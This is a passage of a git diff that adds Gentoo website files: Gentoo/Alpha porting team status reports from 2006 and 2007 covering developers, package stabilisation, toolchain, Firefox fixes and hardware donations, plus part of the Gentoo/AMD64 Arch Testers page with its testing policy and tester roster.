+      how to port programs written on other architectures to the Alpha 
+      architecture.
+
+Thomas Cort (tcort) has begun work on an SRM console guide. It will be 
+published in the documentation subproject[7] section of the Gentoo/Alpha 
+project page. 
+
+[5] http://www.gentoo.org/doc/en/gentoo-alpha-faq.xml
+[6] http://www.gentoo.org/proj/en/base/alpha/doc/alpha-porting-guide.xml
+[7] http://www.gentoo.org/proj/en/base/alpha/doc/index.xml
+
+Alpha Arch Testers Project
+--------------------------
+
+The Alpha Arch Testers Project was recently created by Fernando J. 
+Pereda (ferdy). The project is meant to help the Alpha Arch Team provide 
+a stable, secure and up to date Gentoo Linux port by allowing users to 
+participate in the testing and stabilization process. If you want to 
+learn more about this excellent opportunity to give back to Gentoo, 
+please check out the Alpha Arch Testers Project Page[8]. 
+
+[8] http://www.gentoo.org/proj/en/base/alpha/AT/index.xml
+
+New Alpha Project Page
+----------------------
+
+Our project page was significantly revamped by Jose Luis Rivero 
+(yoswink) and Fernando J. Pereda (ferdy) with the help of the rest of 
+the Gentoo/Alpha team. The developer list has been refreshed to reflect 
+the current team membership. We now have information about our 
+subprojects too. Most subprojects now have their own project pages.
+
+    * Gentoo/Alpha Project Page[9]
+
+[9] http://alpha.gentoo.org
+
+Donations
+---------
+
+Hardware donations are always welcome. We will gladly accept spare alpha 
+hardware. Even an old AlphaServer 1000 is useful for testing 
+installation media and kernels. More powerful systems could be used to 
+assist in testing packages, to provide developers with access to alpha 
+hardware to port applications, or to assist in building releases. Alpha 
+computers aren't the only hardware that we could benifit from; a SCSI or 
+IDE DVD burner would allow us to test dvdrtools, PCI 802.11 NICs would 
+allow us to do more extensive testing and unmask the wifi USE flag 
+(currently only 1 dev has an alpha with wireless), PDAs would allow us 
+to test PDA applications and unmask the pda USE flag. If you would like 
+to make a donation, please drop by #gentoo-alpha on irc.freenode.net or 
+send an e-mail to alpha@gentoo.org.
+
+2.6 SMP Kernels
+---------------
+
+The Linux kernel developers have been working hard on the Alpha port. 
+SMP is functional again and has been tested by a number of developers 
+and users in #gentoo-alpha. 2.6.15.1 and 2.6.16.19 have both been tested 
+on SMP hardware with good results.
diff --git a/xml/htdocs/proj/en/base/alpha/status/status-20060621.xml b/xml/htdocs/proj/en/base/alpha/status/status-20060621.xml
new file mode 100644
index 00000000..a7ef56ad
--- /dev/null
+++ b/xml/htdocs/proj/en/base/alpha/status/status-20060621.xml
@@ -0,0 +1,242 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/base/alpha/status/status-20060621.xml" lang="en">
+<title>Gentoo/Alpha Status Report</title>
+<author title="Author">
+  <mail link="alpha@gentoo.org">Gentoo/Alpha</mail>
+</author>
+
+<abstract>
+Gentoo/Alpha Status Report
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-06-21</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo/Alpha porting team. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-alpha@gentoo.org">gentoo-alpha@gentoo.org</mail>.
+The Gentoo/Alpha porting team, has its own project page (just like 
+almost all other Gentoo projects). You can find it at
+<uri>http://alpha.gentoo.org/</uri>. Also you can contact us
+via IRC at #gentoo-alpha on irc.freenode.net. The latest status report
+can always be found on the <uri
+link="/proj/en/base/alpha/status/index.xml">Gentoo Linux Alpha Status
+Reports</uri> subproject page.
+</p>
+
+</body>
+</section>
+<section>
+<title>Index</title>
+<body>
+
+<p>
+This status report will briefly discuss the following tasks, objectives, 
+and/or projects related to the Gentoo/Alpha porting team:
+</p>
+
+<ul>
+  <li><uri link="#doc_chap2_sect1">New Developers</uri></li>
+  <li><uri link="#doc_chap2_sect2">Keywording and Stabilization</uri></li>
+  <li><uri link="#doc_chap2_sect3">Firefox and Thunderbird are Broken</uri></li>
+  <li><uri link="#doc_chap2_sect4">Documentation Project</uri></li>
+  <li><uri link="#doc_chap2_sect5">Alpha Arch Testers Project</uri></li>
+  <li><uri link="#doc_chap2_sect6">New Alpha project page</uri></li>
+  <li><uri link="#doc_chap2_sect7">Donations</uri></li>
+  <li><uri link="#doc_chap2_sect8">2.6 SMP Kernels</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Content</title>
+<section>
+<title>New Developers</title>
+<body>
+
+<p>
+Since the last status report, the following developers have joined the
+Gentoo/Alpha porting project:
+</p>
+
+<ul>
+  <li>
+    <b>Christel Dahlskjaer</b> (<mail
+      link="christel@gentoo.org">christel</mail>)<br/>
+    Christel joined the Gentoo/Alpha porting team recently to help with 
+    testing kernels on SMP hardware.
+  </li>
+  <li>
+    <b>Thomas Cort</b> (<mail link="tcort@gentoo.org">tcort</mail>)<br/>
+    Thomas joined the Gentoo/Alpha porting team in early April to help 
+    with bug fixing, keywording, documentation, and security bugs.
+  </li>
+  <li>
+    <b>Chris Gianelloni</b> (<mail link="wolf31o2@gentoo.org">wolf31o2</mail>)
+    <br/>Chris joined the Gentoo/Alpha porting team recently to help 
+    with testing kernels on SMP hardware.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Keywording and Stabilization</title>
+<body>
+
+<p>
+Stephen Bennett (<mail link="spb@gentoo.org">spb</mail>) has continued
+his work with SELinux on alpha. hardened-sources is now keyworded for
+alpha. Thanks to the work of Stefaan De Roeck (<mail
+link="stefaan@gentoo.org">stefaan</mail>) and others, modular X has been
+keyworded and is working well on alpha. The Alpha arch team is also 
+pleased to announce that we have stabilized gnome-2.12.3 and kde-3.5.2 
+since the last status report.
+</p>
+
+</body>
+</section>
+<section>
+<title>Firefox and Thunderbird are Broken</title>
+<body>
+
+<p>
+The <uri link="http://mozilla.org">mozilla project</uri> has chosen to 
+discontinue the development of the 1.0.x versions of firefox and thunderbird.
+Since that decision, multiple security holes have been uncovered. As a 
+result, we had to mask the 1.0.x versions of firefox and thunderbird 
+to keep our users secure since there are no plans to fix the security 
+holes.
+</p>
+
+<p>
+No one on the Gentoo/Alpha team has been successful at getting the 
+1.5.x versions of firefox and thunderbird to run correctly, see Bug #<uri
+link="https://bugs.gentoo.org/113944">113944</uri> and Bug #<uri
+link="https://bugs.gentoo.org/113944">131359</uri>. If you can help get 
+these packages working on alpha, it would be very much appreciated.
+</p>
+
+</body>
+</section>
+<section>
+<title>Documentation Project</title>
+<body>
+
+<p>
+The documentation subproject has written multiple new documents:
+</p>
+
+<ul>
+  <li>
+    <uri link="/doc/en/gentoo-alpha-faq.xml">The Gentoo/Alpha FAQ</uri> -
+    an FAQ intended to answer some of the most frequently asked 
+    questions relating to Gentoo/Alpha and Linux/Alpha in general.
+  </li>
+  <li>
+    <uri link="/proj/en/base/alpha/doc/alpha-porting-guide.xml">Alpha 
+    Porting Guide</uri> - a guide intended to show C programmers how to 
+    port programs written on other architectures to the Alpha architecture.
+  </li>
+</ul>
+
+<p>
+Thomas Cort (<mail link="tcort@gentoo.org">tcort</mail>) has begun work 
+on an SRM console guide. It will be published in the <uri
+link="/proj/en/base/alpha/doc/index.xml">documentation subproject</uri>
+section of the Gentoo/Alpha project page.
+</p>
+
+</body>
+</section>
+<section>
+<title>Alpha Arch Testers Project</title>
+<body>
+
+<p>
+The Alpha Arch Testers Project was recently created by Fernando J. 
+Pereda (<mail link="ferdy@gentoo.org">ferdy</mail>). The project is 
+meant to help the Alpha Arch Team provide a stable, secure and up to 
+date Gentoo Linux port by allowing users to participate in the testing 
+and stabilization process. If you want to learn more about this 
+excellent opportunity to give back to Gentoo, please check out the <uri
+link="/proj/en/base/alpha/AT/index.xml">Alpha Arch Testers Project
+Page</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>New Alpha Project Page</title>
+<body>
+
+<p>
+Our project page was significantly revamped by Jose Luis Rivero (<mail 
+link="yoswink@gentoo.org">yoswink</mail>) and Fernando J.
+Pereda (<mail link="ferdy@gentoo.org">ferdy</mail>) with the help of 
+the rest of the Gentoo/Alpha team. The developer list has been 
+refreshed to reflect the current team membership. We now have 
+information about our subprojects too. Most subprojects now have their 
+own project pages.
+</p>
+
+<ul>
+  <li> 
+    <uri link="http://alpha.gentoo.org/">Gentoo/Alpha Project Page</uri> 
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Donations</title>
+<body>
+
+<p>
+Hardware donations are always welcome. We will gladly accept spare alpha 
+hardware. Even an old AlphaServer 1000 is useful for testing installation
+media and kernels. More powerful systems could be used to assist in 
+testing packages, to provide developers with access to alpha hardware 
+to port applications, or to assist in building releases. Alpha computers 
+aren't the only hardware that we could benifit from; a SCSI or IDE DVD 
+burner would allow us to test dvdrtools, PCI 802.11 NICs would allow 
+us to do more extensive testing and unmask the wifi USE flag (currently 
+only 1 dev has an alpha with wireless), PDAs would allow us to 
+test PDA applications and unmask the pda USE flag. If you would like to 
+make a donation, please drop by #gentoo-alpha on irc.freenode.net or 
+send an e-mail to <mail link="alpha@gentoo.org">alpha@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+<section>
+<title>2.6 SMP Kernels</title>
+<body>
+
+<p>
+The Linux kernel developers have been working hard on the Alpha port. 
+SMP is functional again and has been tested by a number of developers 
+and users in #gentoo-alpha. 2.6.15.1 and 2.6.16.19 have both been 
+tested on SMP hardware with good results.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/alpha/status/status-20070721.txt b/xml/htdocs/proj/en/base/alpha/status/status-20070721.txt
new file mode 100644
index 00000000..db3446a6
--- /dev/null
+++ b/xml/htdocs/proj/en/base/alpha/status/status-20070721.txt
@@ -0,0 +1,152 @@
+Gentoo/Alpha Status Report
+===========================
+
+1. Status reports
+------------------
+
+Preliminaries
+
+This is the status of the Gentoo/Alpha porting team. It will be posted
+regularly, but not with a static frequency. All questions can be posted
+to gentoo-alpha@gentoo.org. The Gentoo/Alpha porting team, has its own
+project page (just like almost all other Gentoo projects). You can find
+it at http://alpha.gentoo.org/. Also you can contact us via IRC at
+#gentoo-alpha on irc.freenode.net. The latest status report can always
+be found on the Gentoo Linux Alpha Status Reports[1] subproject page.
+
+[1] http://www.gentoo.org/proj/en/base/alpha/status/index.xml
+
+Index
+
+This status report will briefly discuss the following tasks, objectives,
+and/or projects related to the Gentoo/Alpha porting team:
+
+  * Developers
+  * Toolchain status
+  * New revision of aboot
+  * Keywording and Security
+  * Firefox and Thunderbird fixed
+  * Alpha Arch Testers Project
+  * Donations
+
+2. Content
+==========
+
+Developers
+-----------
+
+Since the last status report, some of our developers have gone and some others
+have joined the Gentoo/Alpha porting project.
+
+Developers who left the Alpha Team:
+
+    - Bryan Østergaard
+      Our leader left Gentoo some time ago. He was one of the oldest alpha
+      Gentoo developers and one of the main contributors to the port. We
+      wish him the best.
+
+    - Thomas Cort
+      Thomas was one of our most active developers but, had to stop his
+      contributions due to lack of time. We hope to have him with us
+      again some time in the future.
+
+New developers, arch testers and contributors:
+
+     - Raúl Porcel (Gentoo developer)
+       Raúl joined the Gentoo/Alpha porting team to help with keywording
+       and security bugs.
+
+     - Brian Evans (Gentoo/Alpha arch tester)
+       Brian joined our arch tester program in May. He is helping with
+       keywording and bug fixing.
+
+     - Tobias Klausmann (Gentoo/Alpha arch tester)
+       Tobias is our last addition to the team. He is also the admin
+       of our main dev box.
+
+Toolchain and Kernel development
+--------------------------------
+
+
+    - GCC
+    GCC 4.1.2 is our stable version which seems to not have any problem.
+    Testing with gcc-4.2 is going fine so probably will enter into
+    ~alpha some time soon.
+
+    - Kernel
+    Gentoo/Alpha changed the supported sources and now, we are happy to
+    announce that gentoo-sources are our default kernel sources.
+    Gentoo/Alpha current stable version is 2.6.21.
+
+    - C libraries
+    glibc-2.5 is the stable version since February. There was a known
+    compiling error related to CFI in sigsuspend files. The error was fixed
+    by bumping binutils version during these last weeks. The testing with
+    glibc-2.6 goes just fine and it will enter in ~alpha sometime soon.
+
+    - Binutils
+    Gentoo/Alpha is now using an advanced version of binutils due to
+    fails with stable glibc and a bug which makes ld takes too much
+    time with some packages. 2.17.50.0.16 is the stable version after
+    a heavy testing process.
+
+New revision of aboot
+----------------------
+
+Due to some changes in the way the kernel headers allow to use the
+types declaration (knowing by "sanitized headers") aboot was not able
+to compile against kernel headers >=2.6.19.
+
+Aboot uses a lot of kernel structure definitions so the only quick fix
+available was to use the old headers during the building process. Mike
+Frysinger was kindly enough to provide a revision of the latest aboot
+version and now we have a shiny: aboot-1.0_pre20040408-r1 marked as
+~alpha.
+
+Keywording and Security
+-----------------------
+
+The keywording process has suffer a major improvement thanks mainly
+to the work of armin76 and our arch testers. xorg-7.2, gnome-2.16
+and kde-3.5 are stables on alpha as well as latest versions for
+all desktop packages.
+
+We also keep the status of security supporting arch attending all
+the security bugs managed by the Gentoo Security team with a very
+good response time.
+
+Firefox and Thunderbird fixed
+-----------------------------
+
+In the previous status report, firefox and thunderbird 1.5 series were broken
+on alpha. Currently, the situation has changed and now, the latest versions
+of these mozilla products are keyworded for alpha.
+
+
+Alpha Arch Testers Project
+---------------------------
+
+The Alpha Arch Testers Project was recently created by Fernando J.
+Pereda (ferdy). The project is meant to help the Alpha Arch Team provide
+a stable, secure and up to date Gentoo Linux port by allowing users to
+participate in the testing and stabilization process. If you want to
+learn more about this excellent opportunity to give back to Gentoo,
+please check out the Alpha Arch Testers Project Page[2].
+
+[2] http://www.gentoo.org/proj/en/base/alpha/AT/index.xml
+
+Donations
+----------
+
+Hardware donations are always welcome. We will gladly accept spare alpha
+hardware. We are specially looking for desktops systems which aren't too
+big to keep them in a house. That's because we lack the resources to
+test some software which needs to have physical contact with the box
+(cd-writers, sound, bootloaders, kernels, etc.).
+
+More powerful systems could be used to assist in testing packages, to provide
+developers with access to alpha hardware to port applications, or to assist in
+building releases. Alpha computers aren't the only hardware that we could
+benifit from, other hardware components are also quite useful to improve our
+developers machines.  If you would like to make a donation, please drop by
+#gentoo-alpha on irc.freenode.net or send an e-mail to alpha@gentoo.org.
diff --git a/xml/htdocs/proj/en/base/alpha/status/status-20070721.xml b/xml/htdocs/proj/en/base/alpha/status/status-20070721.xml
new file mode 100644
index 00000000..5db1b6b5
--- /dev/null
+++ b/xml/htdocs/proj/en/base/alpha/status/status-20070721.xml
@@ -0,0 +1,250 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/base/alpha/status/status-20070721.xml">
+<title>Gentoo/Alpha Status Report</title>
+<author title="Author">
+  <mail link="alpha@gentoo.org">Gentoo/Alpha</mail>
+</author>
+
+<abstract>
+Gentoo/Alpha Status Report
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.0</version>
+<date>2007-07-21</date>
+
+<chapter>
+<title>Status Reports</title>
+<section>
+<title>Preliminaries</title>
+<body>
+
+<p>
+This is the status of the Gentoo/Alpha porting team. It will be posted
+regularly, but not with a static frequency. All questions can be posted to
+<mail link="gentoo-alpha@gentoo.org">gentoo-alpha@gentoo.org</mail>.
+The Gentoo/Alpha porting team, has its own project page (just like 
+almost all other Gentoo projects). You can find it at
+<uri>http://alpha.gentoo.org/</uri>. Also you can contact us
+via IRC at #gentoo-alpha on irc.freenode.net. The latest status report
+can always be found on the <uri
+link="/proj/en/base/alpha/status/index.xml">Gentoo Linux Alpha Status
+Reports</uri> subproject page.
+</p>
+
+</body>
+</section>
+<section>
+<title>Index</title>
+<body>
+
+<p>
+This status report will briefly discuss the following tasks, objectives, 
+and/or projects related to the Gentoo/Alpha porting team:
+</p>
+
+<ul>
+  <li><uri link="#doc_chap2_sect1">Developers</uri></li>
+  <li><uri link="#doc_chap2_sect2">Toolchain status</uri></li>
+  <li><uri link="#doc_chap2_sect3">New revision of aboot</uri></li>
+  <li><uri link="#doc_chap2_sect4">Keywording and Security</uri></li>
+  <li><uri link="#doc_chap2_sect5">Firefox and Thunderbird fixed</uri></li>
+  <li><uri link="#doc_chap2_sect6">Alpha Arch Testers Project</uri></li>
+  <li><uri link="#doc_chap2_sect7">Donations</uri></li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Content</title>
+<section>
+<title>Developers</title>
+<body>
+
+<p>
+Since the last status report, some of our developers have gone and some others
+have joined the Gentoo/Alpha porting project.
+</p>
+
+<p>
+Developers who left the Alpha Team:
+</p>
+
+<ul>
+  <li>
+    <b>Bryan Østergaard</b> (<mail
+      link="kloeri@gentoo.org">kloeri</mail>)<br/>
+  	  Our leader left Gentoo some time ago. He was one of the oldest alpha
+	  Gentoo developers and one of the main contributors to the port. We 
+	  wish him the best.
+  </li>
+  <li>
+    <b>Thomas Cort</b> (<mail link="tcort@gentoo.org">tcort</mail>)<br/>
+    Thomas was one of our most active developers but, had to stop his 
+	contributions due to lack of time. We hope to have him with us
+	again some time in the future.
+  </li>
+</ul>
+
+<p>
+New developers, arch testers and contributors:
+</p>
+
+<ul>
+  <li>
+    <b>Raúl Porcel</b> (<mail
+      link="armin76@gentoo.org">armin76</mail>)<br/>
+	  Raúl joined the Gentoo/Alpha porting team to help with keywording
+	  and security bugs.
+  </li>
+  <li>
+    <b>Brian Evans</b> (Gentoo/Alpha arch tester)<br/>
+    Brian joined our arch tester program in May. He is helping with 
+	keywording and bug fixing.
+  </li>
+  <li>
+    <b>Tobias Klausmann</b> (Gentoo/Alpha arch tester)<br/>
+	Tobias is our last addition to the team. He is also the admin
+	of our main dev box.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Toolchain and Kernel development</title>
+<body>
+
+<ul>
+  <li>
+    <b>GCC</b><br/>
+    GCC 4.1.2 is our stable version which seems to not have any problem.
+	Testing with gcc-4.2 is going fine so probably will enter into 
+	~alpha some time soon.
+  </li>
+  <li>
+    <b>Kernel</b><br/>
+    Gentoo/Alpha changed the supported sources and now, we are happy to 
+	announce that <c>gentoo-sources</c> are our default kernel sources.
+	Gentoo/Alpha current stable version is 2.6.21.
+  </li>
+  <li>
+    <b>C libraries</b><br/>
+    glibc-2.5 is the stable version since February. There was a known 
+	compiling error related to CFI in sigsuspend files. The error was fixed
+	by bumping binutils version during these last weeks. The testing with
+	glibc-2.6 goes just fine and it will enter in ~alpha sometime soon. 
+  </li>
+  <li>
+    <b>Binutils</b><br/>
+	Gentoo/Alpha is now using an advanced version of binutils due to 
+	fails with stable glibc and a bug which makes ld takes too much 
+	time with some packages. 2.17.50.0.16 is the stable version after
+	a heavy testing process.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>New revision of aboot</title>
+<body>
+
+<p>
+Due to some changes in the way the kernel headers allow to use the 
+types declaration (knowing by "sanitized headers") aboot was not able
+to compile against kernel headers >=2.6.19.
+</p>
+
+<p>
+Aboot uses a lot of kernel structure definitions so the only quick fix 
+available was to use the old headers during the building process. Mike 
+Frysinger was kindly enough to provide a revision of the latest aboot
+version and now we have a shiny: <c>aboot-1.0_pre20040408-r1</c> marked as 
+~alpha.
+</p>
+
+</body>
+</section>
+<section>
+<title>Keywording and Security</title>
+<body>
+
+<p>
+The keywording process has suffer a major improvement thanks mainly
+to the work of armin76 and our arch testers. xorg-7.2, gnome-2.16 
+and kde-3.5 are stables on alpha as well as latest versions for 
+all desktop packages.
+</p>
+
+<p>
+We also keep the status of security supporting arch attending all
+the security bugs managed by the Gentoo Security team with a very
+good response time.
+</p>
+
+</body>
+</section>
+<section>
+<title>Firefox and Thunderbird fixed</title>
+<body>
+
+<p>
+In the previous status report, firefox and thunderbird 1.5 series were broken 
+on alpha. Currently, the situation has changed and now, the latest versions
+of these mozilla products are keyworded for alpha.
+</p>
+
+</body>
+</section>
+<section>
+<title>Alpha Arch Testers Project</title>
+<body>
+
+<p>
+The Alpha Arch Testers Project was created by Fernando J. 
+Pereda (<mail link="ferdy@gentoo.org">ferdy</mail>). The project is 
+meant to help the Alpha Arch Team provide a stable, secure and up to 
+date Gentoo Linux port by allowing users to participate in the testing 
+and stabilization process. If you want to learn more about this 
+excellent opportunity to give back to Gentoo, please check out the <uri
+link="/proj/en/base/alpha/AT/index.xml">Alpha Arch Testers Project
+Page</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Donations</title>
+<body>
+
+<p>
+Hardware donations are always welcome. We will gladly accept spare alpha 
+hardware. We are specially looking for desktops systems which aren't too
+big to keep them in a house. That's because we lack the resources to 
+test some software which needs to have physical contact with the box
+(cd-writers, sound, bootloaders, kernels, etc.).
+</p>
+
+<p>
+More powerful systems could be used to assist in testing packages, to provide
+developers with access to alpha hardware to port applications, or to assist in
+building releases. Alpha computers aren't the only hardware that we could
+benifit from, other hardware components are also quite useful to improve our
+developers machines.  If you would like to make a donation, please drop by
+#gentoo-alpha on irc.freenode.net or send an e-mail to <mail
+link="alpha@gentoo.org">alpha@gentoo.org</mail>.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/amd64/at/index.xml b/xml/htdocs/proj/en/base/amd64/at/index.xml
new file mode 100644
index 00000000..f6ca48d5
--- /dev/null
+++ b/xml/htdocs/proj/en/base/amd64/at/index.xml
@@ -0,0 +1,384 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "http://www.gentoo.org/dtd/project.dtd">
+<project>
+
+<name>Gentoo/AMD64 ATs</name>
+
+<longname>Gentoo/AMD64 Arch Testers</longname>
+
+<description>
+The Gentoo/AMD64 AT Project is devoted to help the developers with time-consuming testing.
+</description>
+
+<longdescription>
+<p>The Gentoo/AMD64 Arch Testers (ATs) assist the developers with the time-consuming testing to help
+keeping the Portage tree up to date. They mainly communicate with the developers through
+<uri link="http://bugs.gentoo.org/">Gentoo's Bugzilla</uri> and IRC. The ATs are also on the
+<c>amd64@gentoo.org</c> mail alias so they can watch the bugzilla traffic closely.</p>
+</longdescription>
+
+<extrachapter position="top">
+<title>Participating</title>
+<section>
+<body>
+<p>We are constantly looking for new arch testers. If you meet the following criterias, you are
+likely our ideal candidate:</p>
+<ul>
+<li>You are running Gentoo/AMD64.</li>
+<li>You like tinkering around with new software.</li>
+<li>You want to get involved in Gentoo development, help to make the distribution better every day.</li>
+</ul>
+<p>If you want to participate, email <mail link="jmbsvicetto@gentoo.org">jmbsvicetto@gentoo.org</mail> or
+<mail link="dang@gentoo.org">dang@gentoo.org</mail>. They will lead you through the process and
+help you with the <uri link="/proj/en/devrel/quiz/ebuild-quiz.txt">ebuild quiz</uri>
+which is a requirement for all ATs.</p>
+<note>Arch testers are not official Gentoo developers. They are, however, a recognized
+part of the Gentoo/AMD64 arch team.</note>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Arch Testers Policy</title>
+<section>
+<body>
+<p>There are a few rules which must be followed to assure a certain quality level. Gentoo/AMD64 arch testers
+must fulfill these requirements:</p>
+<ul>
+<li>Use a stable system or a stable chroot environment for testing</li>
+<li>Use reasonable <c>CFLAGS</c></li>
+<li>Append -Wl,--hash-style=gnu to <c>LDFLAGS</c></li>
+<li>Enable at least the following <c>FEATURES</c>: <c>multilib-strict</c>, <c>collision-protect</c>,
+<c>sandbox</c>, <c>test</c></li>
+<li>Test thoroughly</li>
+<li>Before requesting a stablization, check that the ebuild is at least 30 days old and without modifications</li>
+<li>Use the <c>category/package-version</c> format when reporting success or failure</li>
+<li>Always append <c>emerge --info</c> to bug reports</li>
+</ul>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Gentoo/AMD64 AT Listing</title>
+<section>
+<body>
+<p>The following people are currently contributing to this project:</p>
+<table>
+
+<tr>
+<th>Full Name</th>
+<th>Nickname</th>
+<th>Status</th>
+<th>Email</th>
+</tr>
+
+<tr>
+<ti>Andreas Pokorny</ti>
+<ti>apokorny</ti>
+<ti>Became Dev</ti>
+<ti>apokorny@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Chris Parrott</ti>
+<ti>cparrott</ti>
+<ti>Became Dev</ti>
+<ti>cparrott@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Herbie Hopkins</ti>
+<ti>herbs</ti>
+<ti>Became Dev</ti>
+<ti>herbs@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Diego Pettenò</ti>
+<ti>Flameeyes</ti>
+<ti>Became Dev</ti>
+<ti>flameeyes@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Luis Medinas</ti>
+<ti>metalgod</ti>
+<ti>Became Dev</ti>
+<ti>metalgod@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Richard Freeman</ti>
+<ti>rich0</ti>
+<ti>Became Dev</ti>
+<ti>rich0@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Hal Brodigan</ti>
+<ti>postmodern</ti>
+<ti>Inactive</ti>
+<ti>brodigan@pdx.edu</ti>
+</tr>
+
+<tr>
+<ti>Ahmed Ammar</ti>
+<ti>b33fc0d3</ti>
+<ti>Became Dev</ti>
+<ti>b33fc0d3@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Scott Stoddard</ti>
+<ti>deltacow</ti>
+<ti>Became Dev</ti>
+<ti>deltacow@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Patrick McLean</ti>
+<ti>chutzpah</ti>
+<ti>Became Dev</ti>
+<ti>chutzpah@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Nathan Sullivan</ti>
+<ti>CpuID</ti>
+<ti>Inactive</ti>
+<ti>nathan@nightsys.net</ti>
+</tr>
+
+<tr>
+<ti>José Valentín Gutiérrez Boquete</ti>
+<ti>nicote</ti>
+<ti>Inactive</ti>
+<ti>nicote@gmail.com</ti>
+</tr>
+
+<tr>
+<ti>Peter Weller</ti>
+<ti>welp</ti>
+<ti>Became Dev</ti>
+<ti>welp@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Michael Weyershäuser</ti>
+<ti>thedude0001</ti>
+<ti>Inactive</ti>
+<ti>thedude0001@gmx.de</ti>
+</tr>
+
+<tr>
+<ti>Mike Bonar</ti>
+<ti>glide</ti>
+<ti>Inactive</ti>
+<ti>mike.bonar@shaw.ca</ti>
+</tr>
+
+<tr>
+<ti>Christoph Mende</ti>
+<ti>angelos</ti>
+<ti>Became Dev</ti>
+<ti>angelos@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Ioannis Polyzos</ti>
+<ti>oMiC</ti>
+<ti>Inactive</ti>
+<ti>omicron@null-box.org</ti>
+</tr>
+
+<tr>
+<ti>Richard Fleming</ti>
+<ti>Fenix</ti>
+<ti>Inactive</ti>
+<ti>fenixrf@gmail.com</ti>
+</tr>
+
+<tr>
+<ti>Tobias Heinlein</ti>
+<ti>keytoaster</ti>
+<ti>Became Dev</ti>
+<ti>keytoaster@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Bastiaan Visser</ti>
+<ti>bastiaan</ti>
+<ti>Inactive</ti>
+<ti>bugs.gentoo.org@cj-multisoft.nl</ti>
+</tr>
+
+<tr>
+<ti>Stuart Stegall</ti>
+<ti>Cleric</ti>
+<ti>Inactive</ti>
+<ti>bugs@thecleric.org</ti>
+</tr>
+
+<tr>
+<ti>Piotr Jaroszyński</ti>
+<ti>Peper</ti>
+<ti>Became Dev</ti>
+<ti>peper@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>William L. Thomson Jr.</ti>
+<ti>wltjr</ti>
+<ti>Dev</ti>
+<ti>wltjr@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Thomas Tuttle</ti>
+<ti>ttuttle</ti>
+<ti>Inactive</ti>
+<ti>gentoo@ttuttle.net</ti>
+</tr>
+
+<tr>
+<ti>Roeland Douma</ti>
+<ti>rullzer</ti>
+<ti>Active</ti>
+<ti>roeland@rullzer.com</ti>
+</tr>
+
+<tr>
+<ti>Jonas Pederson</ti>
+<ti>kyber</ti>
+<ti>Inactive</ti>
+<ti>jonas@chown.dk</ti>
+</tr>
+
+<tr>
+<ti>Rodrigo Oliveira</ti>
+<ti>dealer</ti>
+<ti>Inactive</ti>
+<ti>rodrigo.dealer@gmail.com</ti>
+</tr>
+
+<tr>
+<ti>Sven Gebhardt</ti>
+<ti>zakx</ti>
+<ti>Inactive</ti>
+<ti>sg@unkreativ.org</ti>
+</tr>
+
+<tr>
+<ti>Torgny Nyblom</ti>
+<ti>togge</ti>
+<ti>Inactive</ti>
+<ti>togge.gentoo@gmail.com</ti>
+</tr>
+
+<tr>
+<ti>Kenneth Prugh</ti>
+<ti>Ken69267</ti>
+<ti>Became Dev</ti>
+<ti>Ken69267@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Thomas Anderson</ti>
+<ti>tanderson</ti>
+<ti>Became Dev</ti>
+<ti>tanderson@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Tiago Cunha</ti>
+<ti>tcunha</ti>
+<ti>Became Dev</ti>
+<ti>tcunha@gentoo.org</ti>
+</tr>
+
+<tr>
+<ti>Simon Cooper</ti>
+<ti>TheCoop</ti>
+<ti>Inactive</ti>
+<ti>thecoop@runbox.com</ti>
+</tr>
+
+<tr>
+<ti>Tom Cort</ti>
+<ti>tcort</ti>
+<ti>Inactive</ti>
+<ti>tom@tomcort.com</ti>
+</tr>
+
+<tr>
+<ti>Angelo Arrifano</ti>
+<ti>miknix</ti>
+<ti>Became Dev</ti>
